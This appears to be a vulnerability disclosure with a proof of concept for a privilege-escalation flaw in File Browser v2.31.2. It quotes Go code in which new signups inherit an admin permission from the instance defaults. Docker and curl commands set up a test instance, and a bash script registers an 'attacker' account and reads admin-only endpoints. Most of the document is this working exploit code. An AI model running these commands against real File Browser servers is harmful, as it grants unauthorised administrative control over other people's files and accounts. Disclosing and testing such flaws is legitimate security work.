Docker CVE-2026-32760

// signupHandler (http/auth.go)
user := &users.User{
    Username: info.Username,
}
d.settings.Defaults.Apply(user)   // ← copies Perm.Admin = true if set in defaults
// NO guard: user.Perm.Admin is never cleared here

func (d *UserDefaults) Apply(u *users.User) {
    u.Perm = d.Perm   // copies full Permissions struct, including Admin field
    ...
}

var settingsPutHandler = withAdmin(func(_ http.ResponseWriter, r *http.Request, d *data) (int, error) {
    ...
    d.settings.Defaults = req.Defaults  // Admin can set Defaults.Perm.Admin = true
    ...
})

# Pull latest release
docker run -d --name fb-test \
  -p 8080:80 \
  -v /tmp/fb-data:/srv \
  filebrowser/filebrowser:v2.31.2
# Wait for startup, then set defaults.perm.admin = true
ADMIN_TOKEN=$(curl -s -X POST http://localhost:8080/api/login \
  -H 'Content-Type: application/json' \
  -d '{"username":"admin","password":"admin"}')
# Enable signup and set admin as default permission
curl -s -X PUT http://localhost:8080/api/settings \
  -H "X-Auth: $ADMIN_TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{
    "signup": true,
    "defaults": {
      "perm": {
        "admin": true,
        "execute": true,
        "create": true,
        "rename": true,
        "modify": true,
        "delete": true,
        "share": true,
        "download": true
      }
    }
  }'

#!/bin/bash
# poc_signup_admin.sh
# Demonstrates: unauthenticated signup → admin account

TARGET="http://localhost:8080"

echo "[*] Registering attacker account via public signup endpoint..."
STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
  -X POST "$TARGET/api/signup" \
  -H "Content-Type: application/json" \
  -d '{"username":"attacker","password":"Attack3r!pass"}')
echo "[*] Signup response: HTTP $STATUS"

echo "[*] Logging in as newly created account..."
ATTACKER_TOKEN=$(curl -s -X POST "$TARGET/api/login" \
  -H "Content-Type: application/json" \
  -d '{"username":"attacker","password":"Attack3r!pass"}')

echo "[*] Fetching user list with attacker token (admin-only endpoint)..."
curl -s "$TARGET/api/users" \
  -H "X-Auth: $ATTACKER_TOKEN" | python3 -m json.tool

echo ""
echo "[*] Verifying admin access by reading /api/settings..."
curl -s "$TARGET/api/settings" \
  -H "X-Auth: $ATTACKER_TOKEN" | python3 -m json.tool